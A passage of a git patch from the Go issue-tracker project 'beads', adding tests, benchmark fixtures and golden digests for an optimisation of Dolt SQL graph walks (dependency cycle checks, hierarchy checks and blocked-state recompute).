types.StatusClosed { + t.Fatalf("precondition: expected molecule root %s auto-closed after final step, got %s", root.ID, got.Status) + } + + bdReopen(t, bd, dir, root.ID) + if got := bdShow(t, bd, dir, root.ID); got.Status != types.StatusOpen { + t.Fatalf("precondition: expected molecule root %s reopened, got %s", root.ID, got.Status) + } + + // Re-close the already-closed final step, this time GUARDED. The idempotent + // guarded re-close must replay molecule auto-close and heal the + // stranded-open root exactly as the unguarded path does. + rev := bdShowRevision(t, bd, dir, step2.ID) + bdRunOK(t, bd, dir, "close", step2.ID, "--if-revision", revStr(rev), "--reason", "retry") + + if got := bdShow(t, bd, dir, root.ID); got.Status != types.StatusClosed { + t.Errorf("expected stranded-open molecule root %s healed by a guarded re-close of the final step, got %s", + root.ID, got.Status) + } +} + +// TestIfRevisionCloseWarnsOnForcedOpenChildren pins mc-zndi7.75 item 3: the +// "warning: closing X with N open child issue(s) still active" line +// (close.go:194-196) must still print on the guarded direct close route when +// --force waives the engine's open-children refusal, exactly as it does on +// the unguarded batch path. +func TestIfRevisionCloseWarnsOnForcedOpenChildren(t *testing.T) { + if os.Getenv("BEADS_TEST_EMBEDDED_DOLT") != "1" { + t.Skip("set BEADS_TEST_EMBEDDED_DOLT=1 to run embedded dolt integration tests") + } + t.Parallel() + + bd := buildEmbeddedBD(t) + dir, _, _ := bdInit(t, bd, "--prefix", "rmw") + + parent := bdCreate(t, bd, dir, "Guarded parent with open child", "--type", "task") + _ = bdCreate(t, bd, dir, "Open child", "--type", "task", "--parent", parent.ID) + + rev := bdShowRevision(t, bd, dir, parent.ID) + out := bdRunOK(t, bd, dir, "close", parent.ID, "--if-revision", revStr(rev), "--force") + if !strings.Contains(out, "open child issue(s) still active") { + t.Errorf("guarded forced close with an open child did not warn:\n%s", out) + } + + if got := bdShow(t, bd, dir, parent.ID); got.Status != types.StatusClosed { + t.Errorf("guarded forced close did not apply: status = %s, want closed", got.Status) + } +} diff --git a/cmd/bd/close_if_revision_proxied_test.go b/cmd/bd/close_if_revision_proxied_test.go new file mode 100644 index 000000000..07b234489 --- /dev/null +++ b/cmd/bd/close_if_revision_proxied_test.go @@ -0,0 +1,78 @@ +//go:build cgo + +package main + +import ( + "strings" + "testing" + + "github.com/steveyegge/beads/internal/types" +) + +// TestProxiedIfRevisionCloseReplaysMoleculeAutoClose is +// TestIfRevisionCloseReplaysMoleculeAutoClose's proxied-server twin, pinning +// mc-zndi7.75 item 1 on the route `bd serve` actually runs: +// runCloseProxiedIfRevision bypasses the batch entirely (A8, beads#4682), so +// it must re-drive molecule auto-close itself via its own post-close unit of +// work, exactly as closeProxiedRunPostClose does for the unguarded batch +// route. +func TestProxiedIfRevisionCloseReplaysMoleculeAutoClose(t *testing.T) { + requireSharedProxiedServer(t) + t.Parallel() + bd := buildEmbeddedBD(t) + p := newSharedProxiedProject(t, bd, "ivc") + + root := bdProxiedCreate(t, bd, p.dir, "Guarded proxied molecule root", "-t", "epic", "--labels", "template") + step1 := bdProxiedCreate(t, bd, p.dir, "Guarded proxied molecule step one", "--parent", root.ID) + step2 := bdProxiedCreate(t, bd, p.dir, "Guarded proxied molecule step two", "--parent", root.ID) + + bdProxiedClose(t, bd, p.dir, step1.ID, "--reason", "one") + bdProxiedClose(t, bd, p.dir, step2.ID, "--reason", "two") + db := openProxiedDB(t, p) + if got := readStatus(t, db, root.ID); got != types.StatusClosed { + t.Fatalf("precondition: expected molecule root %s auto-closed after final step, got %q", root.ID, got) + } + + bdProxiedReopen(t, bd, p.dir, root.ID) + if got := readStatus(t, db, root.ID); got != types.StatusOpen { + t.Fatalf("precondition: expected molecule root %s reopened, got %q", root.ID, got) + } + + // Re-close the already-closed final step, this time GUARDED. The + // idempotent guarded re-close must replay molecule auto-close and heal + // the stranded-open root exactly as the unguarded path does. + rev := bdProxiedShowRevision(t, bd, p.dir, step2.ID) + bdProxiedClose(t, bd, p.dir, step2.ID, "--if-revision", proxiedRevStr(rev), "--reason", "retry") + + if got := readStatus(t, db, root.ID); got != types.StatusClosed { + t.Errorf("expected stranded-open molecule root %s healed by a guarded proxied re-close of the final step, got %q", + root.ID, got) + } +} + +// TestProxiedIfRevisionCloseWarnsOnForcedOpenChildren is +// TestIfRevisionCloseWarnsOnForcedOpenChildren's proxied-server twin, pinning +// mc-zndi7.75 item 3 on the proxied route. +func TestProxiedIfRevisionCloseWarnsOnForcedOpenChildren(t *testing.T) { + requireSharedProxiedServer(t) + t.Parallel() + bd := buildEmbeddedBD(t) + p := newSharedProxiedProject(t, bd, "ivw") + + parent := bdProxiedCreate(t, bd, p.dir, "Guarded proxied parent with open child") + _ = bdProxiedCreate(t, bd, p.dir, "Open proxied child", "--parent", parent.ID) + + rev := bdProxiedShowRevision(t, bd, p.dir, parent.ID) + stdout, stderr, err := bdProxiedRunBuffers(t, bd, p.dir, "close", parent.ID, "--if-revision", proxiedRevStr(rev), "--force") + if err != nil { + t.Fatalf("bd close --force --if-revision failed: %v\nstdout:\n%s\nstderr:\n%s", err, stdout, stderr) + } + if !strings.Contains(stderr, "open child issue(s) still active") { + t.Errorf("guarded proxied forced close with an open child did not warn:\nstdout:\n%s\nstderr:\n%s", stdout, stderr) + } + + db := openProxiedDB(t, p) + if got := readStatus(t, db, parent.ID); got != types.StatusClosed { + t.Errorf("guarded proxied forced close did not apply: status = %q, want closed", got) + } +} From ba12ffa74e03716528a86d3adeacab0a3be049aa Mon Sep 17 00:00:00 2001 From: Julian Knutsen Date: Sun, 4 Oct 2026 23:43:32 -0700 Subject: [PATCH 094/325] perf(issueops): indexed dep-add cycle/hierarchy walks; pin blocked-state lookup plans; split waits-for spawner checks (#7224) * perf(issueops): index each step of the per-edge cycle and hierarchy walks The single-edge cycle and hierarchy probes (AddDependencyInTx, i.e. bd dep add and apply-batch dep_add items, the domain stack's HasCycle / ValidateBlockingHierarchy, and apply-batch's end-gate hierarchy check) joined the recursive frontier against a UNION of dependencies and wisp_dependencies. Dolt cannot index that derived table, so every recursion step rescanned every matching edge: on a 50k-issue / 100k-edge database one dep add took minutes (an apply-batch of 1 create + 2 dep adds ~10 min). Give each dependency table its own recursive member joined directly on d.issue_id, so each step is an index lookup, and pin the lookup plan with JOIN_ORDER/LOOKUP_JOIN hints: without them the Dolt sql-server planner picks a type-index scan join while table statistics are not yet available (right after a commit), back to minutes. Same reachable set (UNION distinct merges the members per step), same edge types, same error paths, and still one statement per probe. Adds a "depadd" createbatchequiv scenario with a golden digest recorded from the pre-change code: every cycle/hierarchy probe over 17 nodes x 3 table sets (mixed tables, every target column, external and missing ids), then 20 AddDependencyInTx calls covering cycles through both tables, hierarchy conflicts in both directions, self, missing endpoints, type conflict, external and non-scheduling edges. Co-Authored-By: Claude Opus 5.5 (1M context) * perf(issueops): pin lookup joins in the batched blocked-state recompute The batched mark/unmark UPDATEs decide membership through the scoped should-be-blocked union. On the Dolt sql-server its planner intermittently (depending on when the background statistics refresh lands) turned the union's issues legs around: it drove them from an index scan of every open issue through (is_blocked, status) and probed dependencies per row. Over an import's few thousand uncommitted issues that is ~3 s per leg and 6-10 s per mark/unmark statement for each 200-id chunk, where the lookup plan takes ~0.1 s; an import of 5000 issues with edges took ~28 min and came close to the 10 s read timeout. EXPLAIN on the server engine showed the two plans; two of three identical 2000-issue imports hit the slow one (4-5 min vs 14 s). Pin each joined leg of the scoped union to drive from the batch's own dependency rows and look the target/parent up by primary key (JOIN_ORDER/LOOKUP_JOIN hints, ignored by MySQL). The SQL is otherwise unchanged, so results are identical (createbatchequiv golden digests, including is_blocked, pass on both engines) and the statement count is the same. The unscoped union used by full repair and the doctor count walks whole tables and keeps the planner's choice. Co-Authored-By: Claude Opus 5.5 (1M context) * test(storage): pin the hinted graph-walk and blocked-state plans with EXPLAIN The JOIN_ORDER/LOOKUP_JOIN hints on the per-edge reachability walks and the batched blocked-state recompute were only pinned textually: the suite passed with them deleted or naming a wrong alias. TestGraphWalkPlansHonorJoinHints (embedded) records the statements the production entry points send (WouldCreateSchedulingCycleInTx, CheckBlockingHierarchyInTx, RecomputeIsBlockedInTx) through a DBTX wrapper, EXPLAINs exactly those, and asserts each recursive member is a lookup join keyed by the frontier node and each joined union leg a primary-key lookup, never an is_blocked/status scan. Deleting a hint or misspelling its alias fails it. The test found a remaining planner trap in the ancestor walk: with "d.type = 'parent-child'" in the join condition, the embedded planner satisfied the wisp_dependencies member through the type index keyed by the constant, a lookup returning every parent-child row of the table per frontier node. The type filter now sits in each member's projection (a row of another type yields a NULL node, which joins nothing and never equals the goal), so issue_id is the join's only predicate. The depadd golden, recorded from the pre-change code, still matches. Also corrects the hint comments: MySQL honors JOIN_ORDER (the order it forces is the wanted one) and ignores the unknown LOOKUP_JOIN with a warning. Co-Authored-By: Claude Opus 5.5 (1M context) * test(createbatchequiv): check run scenarios against the golden only; probe a stored parent cycle A run scenario (depadd) drives code the create fast paths do not gate, so its fast-vs-per-row comparison compared a body with itself. Apply it once, check it against its golden digest (the pre-change code's answers), and fail if the run recorded nothing. depadd now plants a parent-child 2-cycle straight into dependencies, as legacy or merged data can hold even though every write path refuses it, and probes across it plus three adds touching it, so termination of the walks on stored cycles is covered. Golden re-recorded from a93498c81 (pre-change walks); the current code matches it. Co-Authored-By: Claude Opus 5.5 (1M context) * perf(issueops): index the waits-for gate's child lookups; waits-for bench fixture The large-graph benchmark gains a formula-shaped fan-out (batchfixtures.WaitsForInserts: one spawner, 1000 parent-child children, 20 waiters over every waits-for gate shape) and two shapes over it: create+waits-for and closing a spawner child (which recomputes every waiter through the waits-for gate). It was not a statistics-dependent plan flip but a consistently bad plan: each "spawner has an open/closed child" EXISTS matched both spawner columns with one OR, which no index serves, so every correlated evaluation scanned the edge table. On 50k issues / 100k edges, closing one child took ~39 s per close on embedded, and on the server create+waits-for hit the 30-minute read timeout. The gate now splits each EXISTS per spawner column (one per dependency table and column, each served by its target-column index) and pins the child lookup by primary key (JOIN_ORDER/LOOKUP_JOIN). EXISTS(a OR b) is EXISTS(a) OR EXISTS(b), so the result is unchanged. The template is shared with the unscoped full repair, where a per-row correlated lookup is the right plan too. Close spawner child per close: emb 39.5 s -> 3.3 s; create+waits-for emb 2.1 s -> 0.46 s, srv >30 min (read timeout) -> 0.29 s; srv close spawner child 3.2 s (not reached before). Adds a "waitsfor" createbatchequiv scenario, golden recorded from a93498c81 (pre-change gate): issue and wisp spawners with issue and wisp children, waiters in all five gate shapes, then closes, reopens, a scoped recompute and the full repair, snapshotting every is_blocked. A mutation dropping the wisp-spawner legs fails it. Co-Authored-By: Claude Opus 5.5 (1M context) * test(createbatchequiv): compare dependency metadata canonicalized across engines The embedded engine and the Dolt sql-server serialize a JSON metadata value differently (key order, spacing), so the waitsfor golden recorded on embedded failed on the server for its gate metadata alone. Re-serialize each dependency row's metadata through encoding/json before comparing. Rows with '{}' metadata are unchanged, so the other goldens keep their digests; waitsfor is re-recorded from a93498c81 and now passes on both engines. Co-Authored-By: Claude Opus 5.5 (1M context) * build(bazel): auto-sync BUILD files Applied from the bazel-sync-patch artifact of https://github.com/gastownhall/beads/actions/runs/37272437653 (`make bazel-sync`: gazelle, tools/bazel/go_srcs.py, bazel mod tidy). Only BUILD.bazel, MODULE.bazel and MODULE.bazel.lock are ever pushed; see scripts/bazel-autofix-push.sh. --------- Co-authored-by: Claude Opus 5.5 (1M context) Co-authored-by: github-actions[bot] <41898282+github-actions[bot]@users.noreply.github.com> --- .../scripts/embedded-storage-test-shards.txt | 1 + internal/storage/batchbench/batchbench.go | 41 +- internal/storage/batchfixtures/BUILD.bazel | 1 + internal/storage/batchfixtures/waitsfor.go | 88 ++ internal/storage/createbatchequiv/BUILD.bazel | 4 + .../createbatchequiv/createbatchequiv.go | 56 + .../createbatchequiv/golden/depadd.json | 1171 +++++++++++++++++ .../createbatchequiv/golden/waitsfor.json | 91 ++ .../createbatchequiv/scenario_depadd.go | 136 ++ .../createbatchequiv/scenario_waitsfor.go | 175 +++ internal/storage/embeddeddolt/BUILD.bazel | 1 + .../embeddeddolt/graph_walk_plan_test.go | 165 +++ .../storage/issueops/blocked_consistency.go | 30 +- internal/storage/issueops/blocked_state.go | 59 +- .../issueops/blocked_state_template_test.go | 40 + internal/storage/issueops/dependencies.go | 81 +- .../storage/issueops/dependencies_test.go | 39 +- 17 files changed, 2117 insertions(+), 62 deletions(-) create mode 100644 internal/storage/batchfixtures/waitsfor.go create mode 100644 internal/storage/createbatchequiv/golden/depadd.json create mode 100644 internal/storage/createbatchequiv/golden/waitsfor.json create mode 100644 internal/storage/createbatchequiv/scenario_depadd.go create mode 100644 internal/storage/createbatchequiv/scenario_waitsfor.go create mode 100644 internal/storage/embeddeddolt/graph_walk_plan_test.go diff --git a/.github/scripts/embedded-storage-test-shards.txt b/.github/scripts/embedded-storage-test-shards.txt index f336184d7..8723a463d 100644 --- a/.github/scripts/embedded-storage-test-shards.txt +++ b/.github/scripts/embedded-storage-test-shards.txt @@ -401,6 +401,7 @@ 15 10 TestEmbeddedTransactionWispLifecyclePersistsDurableDependent 15 10 TestEpochContract 15 10 TestGetReadyWorkMoleculeFilter +15 10 TestGraphWalkPlansHonorJoinHints 15 10 TestHelperProcess 15 10 TestIgnoredCursorHealResumeRespectsOperatorOverride 15 10 TestReclaimRefusesForeignReplicaLease diff --git a/internal/storage/batchbench/batchbench.go b/internal/storage/batchbench/batchbench.go index 1c793c9b6..fdb225c39 100644 --- a/internal/storage/batchbench/batchbench.go +++ b/internal/storage/batchbench/batchbench.go @@ -43,6 +43,15 @@ const DefaultCreates = 20 // recursive checks, which run for minutes per edge on a 100k-edge graph. const ApplyCreatesEnvVar = "BEADS_BENCH_LARGE_GRAPH_APPLY_CREATES" +// waitsForChildren and waitsForWaiters size the formula-shaped fan-out +// (batchfixtures.WaitsForInserts) loaded beside the graph: one spawner with +// that many parent-child children and waiters each holding a waits-for edge +// on it, the shape whose blocked state the waits-for gate decides. +const ( + waitsForChildren = 1000 + waitsForWaiters = 20 +) + // Issues returns the graph size EnvVar asks for, skipping t when unset. func Issues(t *testing.T) int { t.Helper() @@ -64,7 +73,12 @@ func Issues(t *testing.T) int { // - create+2deps: CreateIssuesInTxWithResult with one issue carrying two // blocks edges to existing issues (the store's CreateIssue path); // - apply-batch: one ApplyBatchInTx of that many creates, each followed by a -// parent-child and a blocks dep_add to existing issues. +// parent-child and a blocks dep_add to existing issues; +// - create+waits-for: CreateIssuesInTxWithResult with one issue carrying a +// waits-for edge on the fan-out's spawner, so its blocked state is decided +// by the waits-for gate over the spawner's children; +// - close spawner child: CloseIssueInTx on an open child of the spawner, +// which recomputes every waiter through the waits-for gate. func Run(t *testing.T, db *sql.DB, counts *sqlcount.Counts, prefix string, issues int) { t.Helper() creates := DefaultCreates @@ -77,7 +91,9 @@ func Run(t *testing.T, db *sql.DB, counts *sqlcount.Counts, prefix string, issue if err != nil { t.Fatal(err) } - for _, st := range batchfixtures.LargeGraphInserts(prefix, issues) { + inserts := batchfixtures.LargeGraphInserts(prefix, issues) + inserts = append(inserts, batchfixtures.WaitsForInserts(prefix, waitsForChildren, waitsForWaiters)...) + for _, st := range inserts { if _, err := tx.ExecContext(ctx, st.SQL, st.Args...); err != nil { _ = tx.Rollback() t.Fatalf("populate: %v", err) @@ -152,6 +168,27 @@ func Run(t *testing.T, db *sql.DB, counts *sqlcount.Counts, prefix string, issue }) } }) + measure("create+waits-for", creates, func() { + for i := 0; i < creates; i++ { + inTx(func(tx *sql.Tx) error { + id := fmt.Sprintf("%s-bwf%03d", prefix, i) + _, err := issueops.CreateIssuesInTxWithResult(ctx, tx, []*types.Issue{{ + ID: id, Title: fmt.Sprintf("bench waits-for %d", i), Status: types.StatusOpen, Priority: 2, IssueType: types.TypeTask, + Dependencies: []*types.Dependency{{IssueID: id, DependsOnID: batchfixtures.WaitsForSpawnerID(prefix), Type: types.DepWaitsFor}}, + }}, "bench", storage.BatchCreateOptions{}) + return err + }) + } + }) + measure("close spawner child", creates, func() { + for i := 0; i < creates; i++ { + inTx(func(tx *sql.Tx) error { + // Children 10k+1.. are open (every tenth is fixture-closed). + _, err := issueops.CloseIssueInTx(ctx, tx, batchfixtures.WaitsForChildID(prefix, 10*i+1), "bench", "bench", "") + return err + }) + } + }) applyCreates := creates if n, err := strconv.Atoi(os.Getenv(ApplyCreatesEnvVar)); err == nil && n > 0 { applyCreates = n diff --git a/internal/storage/batchfixtures/BUILD.bazel b/internal/storage/batchfixtures/BUILD.bazel index d5e1ae10b..d25054cf4 100644 --- a/internal/storage/batchfixtures/BUILD.bazel +++ b/internal/storage/batchfixtures/BUILD.bazel @@ -6,6 +6,7 @@ go_library( "batchfixtures.go", "largegraph.go", "uncapped_plan.go", + "waitsfor.go", ], importpath = "github.com/steveyegge/beads/internal/storage/batchfixtures", visibility = ["//:__subpackages__"], diff --git a/internal/storage/batchfixtures/waitsfor.go b/internal/storage/batchfixtures/waitsfor.go new file mode 100644 index 000000000..7f82391e0 --- /dev/null +++ b/internal/storage/batchfixtures/waitsfor.go @@ -0,0 +1,88 @@ +package batchfixtures + +import ( + "fmt" + "strings" + "time" +) + +// WaitsForSpawnerID names the spawner WaitsForInserts creates. +func WaitsForSpawnerID(prefix string) string { return prefix + "-wfspawner" } + +// WaitsForChildID names the i-th child WaitsForInserts creates. +func WaitsForChildID(prefix string, i int) string { return fmt.Sprintf("%s-wfchild%05d", prefix, i) } + +// WaitsForWaiterID names the i-th waiter WaitsForInserts creates. +func WaitsForWaiterID(prefix string, i int) string { return fmt.Sprintf("%s-wfwaiter%04d", prefix, i) } + +// WaitsForInserts builds raw INSERTs for a formula/molecule-shaped fan-out: +// one spawner issue with children parent-child children (every tenth one +// closed) and waiters issues each holding a waits-for edge on the spawner, +// cycling through the gate shapes the blocked-state waits-for leg evaluates — +// the default all-children gate (legacy '{}' metadata), an explicit +// all-children gate, an any-children gate, and an also_blocks edge. Like +// LargeGraphInserts it writes rows only (no events, no blocked-state +// maintenance) and does no I/O. +func WaitsForInserts(prefix string, children, waiters int) []Statement { + const rowsPerStatement = 500 + at := time.Date(2026, 1, 1, 0, 0, 0, 0, time.UTC) + type row struct { + id, status string + } + rows := []row{{WaitsForSpawnerID(prefix), "open"}} + for i := 0; i < children; i++ { + status := "open" + if i%10 == 0 { + status = "closed" + } + rows = append(rows, row{WaitsForChildID(prefix, i), status}) + } + for i := 0; i < waiters; i++ { + rows = append(rows, row{WaitsForWaiterID(prefix, i), "open"}) + } + var out []Statement + for start := 0; start < len(rows); start += rowsPerStatement { + end := min(start+rowsPerStatement, len(rows)) + var values []string + var args []any + for _, r := range rows[start:end] { + values = append(values, "(?, ?, '', '', '', '', ?, 2, 'task', ?, ?, ?)") + var closedAt any + if r.status == "closed" { + closedAt = at + } + args = append(args, r.id, "waits-for fixture "+r.id, r.status, at, at, closedAt) + } + out = append(out, Statement{ + SQL: "INSERT INTO issues (id, title, description, design, acceptance_criteria, notes, status, priority, issue_type, created_at, updated_at, closed_at) VALUES " + + strings.Join(values, ", "), + Args: args, + }) + } + type edge struct { + source, depType, metadata string + } + var edges []edge + for i := 0; i < children; i++ { + edges = append(edges, edge{WaitsForChildID(prefix, i), "parent-child", "{}"}) + } + gates := []string{"{}", `{"gate":"all-children"}`, `{"gate":"any-children"}`, `{"also_blocks":"true"}`} + for i := 0; i < waiters; i++ { + edges = append(edges, edge{WaitsForWaiterID(prefix, i), "waits-for", gates[i%len(gates)]}) + } + spawner := WaitsForSpawnerID(prefix) + for start := 0; start < len(edges); start += rowsPerStatement { + end := min(start+rowsPerStatement, len(edges)) + var values []string + var args []any + for _, e := range edges[start:end] { + values = append(values, "(?, ?, ?, ?, 'fixture', ?, ?)") + args = append(args, "wf-"+e.source, e.source, spawner, e.depType, at, e.metadata) + } + out = append(out, Statement{ + SQL: "INSERT INTO dependencies (id, issue_id, depends_on_issue_id, type, created_by, created_at, metadata) VALUES " + strings.Join(values, ", "), + Args: args, + }) + } + return out +} diff --git a/internal/storage/createbatchequiv/BUILD.bazel b/internal/storage/createbatchequiv/BUILD.bazel index 4c0a18fd9..0214b7037 100644 --- a/internal/storage/createbatchequiv/BUILD.bazel +++ b/internal/storage/createbatchequiv/BUILD.bazel @@ -5,13 +5,17 @@ go_library( srcs = [ "createbatchequiv.go", "scenario_apply.go", + "scenario_depadd.go", "scenario_import458.go", + "scenario_waitsfor.go", ], embedsrcs = [ "golden/apply.json", + "golden/depadd.json", "golden/import458-reject-stale.json", "golden/import458.json", "golden/small.json", + "golden/waitsfor.json", ], importpath = "github.com/steveyegge/beads/internal/storage/createbatchequiv", visibility = ["//:__subpackages__"], diff --git a/internal/storage/createbatchequiv/createbatchequiv.go b/internal/storage/createbatchequiv/createbatchequiv.go index 3aebb3d3b..bbb5c3de8 100644 --- a/internal/storage/createbatchequiv/createbatchequiv.go +++ b/internal/storage/createbatchequiv/createbatchequiv.go @@ -18,6 +18,7 @@ import ( "reflect" "regexp" "sort" + "strconv" "strings" "testing" "time" @@ -54,6 +55,12 @@ type scenario struct { batch func() []*types.Issue opts storage.BatchCreateOptions apply func() publicops.ApplyBatchRequest + // run, when set, replaces the batch: it drives tx itself and returns + // the lines to compare (kept in Outcome.Skipped). The create fast paths + // do not gate anything a run drives, so a run scenario is applied once + // and checked against its golden digest only — the pre-change code's + // answers — not fast against per-row. + run func(ctx context.Context, tx *sql.Tx) ([]string, error) } // scenarios are the light ones Run drives on every lane. @@ -61,6 +68,8 @@ func scenarios() []scenario { return []scenario{ {name: "small", seed: seed, afterSeed: plantStaleBlocked("s4"), batch: batch}, {name: "apply", seed: seedApply, apply: applyRequest}, + {name: "depadd", seed: seedDepAdd, afterSeed: plantParentCycle, run: runDepAdd}, + {name: "waitsfor", seed: seedWaitsFor, run: runWaitsFor}, } } @@ -108,6 +117,13 @@ func runScenarios(t *testing.T, open Open, list []scenario) { return } fast := applyScenario(t, open, sc, false) + if sc.run != nil { + if len(fast.Skipped) == 0 { + t.Fatalf("%s: run recorded nothing", sc.name) + } + checkGolden(t, sc.name, fast) + return + } perRow := applyScenario(t, open, sc, true) compareOutcomes(t, fast, perRow) checkGolden(t, sc.name, fast) @@ -358,6 +374,15 @@ func applyScenario(t *testing.T, open Open, sc scenario, perRow bool) Outcome { } var out Outcome inTx(true, func(tx *sql.Tx) { + if sc.run != nil { + lines, err := sc.run(ctx, tx) + if err != nil { + _ = tx.Rollback() + t.Fatalf("%s: %v", sc.name, err) + } + out.Skipped = lines + return + } if sc.apply != nil { plan, err := storage.PlanApplyBatch(sc.apply()) if err != nil { @@ -414,6 +439,14 @@ func applyScenario(t *testing.T, open Open, sc scenario, perRow bool) Outcome { } { out.Tables[table] = rowsOf(t, db, query) } + // Dependency metadata is a JSON column, and the engines serialize it + // differently (key order, spacing); compare it canonicalized. + for _, table := range []string{"dependencies", "wisp_dependencies"} { + for i, row := range out.Tables[table] { + out.Tables[table][i] = canonicalMetadataRow(t, row) + } + sort.Strings(out.Tables[table]) + } // An update event's old_value snapshots the row, wall-clock updated_at // included. for _, table := range []string{"events", "wisp_events"} { @@ -459,6 +492,29 @@ func journalRows(t *testing.T, db *sql.DB) []string { return out } +// canonicalMetadataRow re-serializes the last field of a rowsOf row (a +// dependency's metadata) through encoding/json: sorted keys, no spacing. +func canonicalMetadataRow(t *testing.T, row string) string { + t.Helper() + cut := strings.LastIndex(row, " \"") + if cut < 0 { + return row + } + raw, err := strconv.Unquote(row[cut+1:]) + if err != nil { + t.Fatalf("metadata field of %s: %v", row, err) + } + var v any + if err := json.Unmarshal([]byte(raw), &v); err != nil { + return row + } + b, err := json.Marshal(v) + if err != nil { + t.Fatal(err) + } + return row[:cut+1] + strconv.Quote(string(b)) +} + func rowsOf(t *testing.T, db *sql.DB, query string) []string { t.Helper() rows, err := db.Query(query) diff --git a/internal/storage/createbatchequiv/golden/depadd.json b/internal/storage/createbatchequiv/golden/depadd.json new file mode 100644 index 000000000..8f520beb2 --- /dev/null +++ b/internal/storage/createbatchequiv/golden/depadd.json @@ -0,0 +1,1171 @@ +{ + "tables": { + "bd_events_journal": { + "rows": 14, + "sha256": "746e2fd596f9668f4832ec81fcbb63b5068bbbea82929e2224fec481110340bf" + }, + "child_counters": { + "rows": 2, + "sha256": "cb57659682115854160f84a000363cfa721ac93270c748e6e9d97c2f73e31da5" + }, + "comments": { + "rows": 0, + "sha256": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855" + }, + "dependencies": { + "rows": 23, + "sha256": "3b7d21bbe51d3b276883b8680478b88ec115014f6901f85dff94726726eabfa3" + }, + "events": { + "rows": 25, + "sha256": "862fbc60ebe715d188dae09a2b36057a1e6028ccc70761df0e54158b1758a039" + }, + "events_ids": { + "rows": 1, + "sha256": "a2da4eaa514fc28c5aaed0b498912f55557e07bf52c20e9928831e051632a342" + }, + "issue_versions": { + "rows": 11, + "sha256": "0298b7d35b39ee0265143f9f7d9a1adc4ad2848f2e9f19b2452a157f5bdda483" + }, + "issues": { + "rows": 15, + "sha256": "27fb5cdc6779efe18023610f468f30f7f3c21c9b47fe2b2660b280ed132785d1" + }, + "issues_updated_at": { + "rows": 13, + "sha256": "7119d0e3827b68a653156835b19fbae4b2b497aa17743ca2abce9ce387870831" + }, + "labels": { + "rows": 0, + "sha256": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855" + }, + "wisp_dependencies": { + "rows": 3, + "sha256": "d934d9906fea4bebe6e6e7857adf060a6ff6cf2a0a35de4283c042bf307b535c" + }, + "wisp_events": { + "rows": 3, + "sha256": "74ba23f262a1446e5a93b7c14c310f8def4f3476f96783ce47acd709c0c9b54b" + }, + "wisp_labels": { + "rows": 0, + "sha256": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855" + }, + "wisps": { + "rows": 2, + "sha256": "05de294d9f79a49561617843aa5893de0040bc46d4486c949ad27d004a42fa3b" + } + }, + "skipped": [ + "probe eq-de -\u003e eq-de tables=[]: cycle=true hierarchy=ok cycle-check=cannot add self-dependency: eq-de cannot depend on itself", + "probe eq-de -\u003e eq-de tables=[dependencies]: cycle=true hierarchy=ok cycle-check=cannot add self-dependency: eq-de cannot depend on itself", + "probe eq-de -\u003e eq-de tables=[wisp_dependencies]: cycle=true hierarchy=ok cycle-check=cannot add self-dependency: eq-de cannot depend on itself", + "probe eq-de -\u003e eq-de.1 tables=[]: cycle=true hierarchy=eq-de cannot be blocked by its descendant eq-de.1: blocked status cascades to descendants, so eq-de.1 would inherit the block and never close cycle-check=adding dependency would create a cycle", + "probe eq-de -\u003e eq-de.1 tables=[dependencies]: cycle=true hierarchy=eq-de cannot be blocked by its descendant eq-de.1: blocked status cascades to descendants, so eq-de.1 would inherit the block and never close cycle-check=adding dependency would create a cycle", + "probe eq-de -\u003e eq-de.1 tables=[wisp_dependencies]: cycle=false hierarchy=ok cycle-check=ok", + "probe eq-de -\u003e eq-de.1.1 tables=[]: cycle=true hierarchy=eq-de cannot be blocked by its descendant eq-de.1.1: blocked status cascades to descendants, so eq-de.1.1 would inherit the block and never close cycle-check=adding dependency would create a cycle", + "probe eq-de -\u003e eq-de.1.1 tables=[dependencies]: cycle=true hierarchy=eq-de cannot be blocked by its descendant eq-de.1.1: blocked status cascades to descendants, so eq-de.1.1 would inherit the block and never close cycle-check=adding dependency would create a cycle", + "probe eq-de -\u003e eq-de.1.1 tables=[wisp_dependencies]: cycle=false hierarchy=ok cycle-check=ok", + "probe eq-de -\u003e eq-de.2 tables=[]: cycle=true hierarchy=eq-de cannot be blocked by its descendant eq-de.2: blocked status cascades to descendants, so eq-de.2 would inherit the block and never close cycle-check=adding dependency would create a cycle", + "probe eq-de -\u003e eq-de.2 tables=[dependencies]: cycle=true hierarchy=eq-de cannot be blocked by its descendant eq-de.2: blocked status cascades to descendants, so eq-de.2 would inherit the block and never close cycle-check=adding dependency would create a cycle", + "probe eq-de -\u003e eq-de.2 tables=[wisp_dependencies]: cycle=false hierarchy=ok cycle-check=ok", + "probe eq-de -\u003e eq-db1 tables=[]: cycle=false hierarchy=ok cycle-check=ok", + "probe eq-de -\u003e eq-db1 tables=[dependencies]: cycle=false hierarchy=ok cycle-check=ok", + "probe eq-de -\u003e eq-db1 tables=[wisp_dependencies]: cycle=false hierarchy=ok cycle-check=ok", + "probe eq-de -\u003e eq-db2 tables=[]: cycle=false hierarchy=ok cycle-check=ok", + "probe eq-de -\u003e eq-db2 tables=[dependencies]: cycle=false hierarchy=ok cycle-check=ok", + "probe eq-de -\u003e eq-db2 tables=[wisp_dependencies]: cycle=false hierarchy=ok cycle-check=ok", + "probe eq-de -\u003e eq-db3 tables=[]: cycle=false hierarchy=ok cycle-check=ok", + "probe eq-de -\u003e eq-db3 tables=[dependencies]: cycle=false hierarchy=ok cycle-check=ok", + "probe eq-de -\u003e eq-db3 tables=[wisp_dependencies]: cycle=false hierarchy=ok cycle-check=ok", + "probe eq-de -\u003e eq-db4 tables=[]: cycle=false hierarchy=ok cycle-check=ok", + "probe eq-de -\u003e eq-db4 tables=[dependencies]: cycle=false hierarchy=ok cycle-check=ok", + "probe eq-de -\u003e eq-db4 tables=[wisp_dependencies]: cycle=false hierarchy=ok cycle-check=ok", + "probe eq-de -\u003e eq-dr tables=[]: cycle=false hierarchy=ok cycle-check=ok", + "probe eq-de -\u003e eq-dr tables=[dependencies]: cycle=false hierarchy=ok cycle-check=ok", + "probe eq-de -\u003e eq-dr tables=[wisp_dependencies]: cycle=false hierarchy=ok cycle-check=ok", + "probe eq-de -\u003e eq-dwf tables=[]: cycle=false hierarchy=ok cycle-check=ok", + "probe eq-de -\u003e eq-dwf tables=[dependencies]: cycle=false hierarchy=ok cycle-check=ok", + "probe eq-de -\u003e eq-dwf 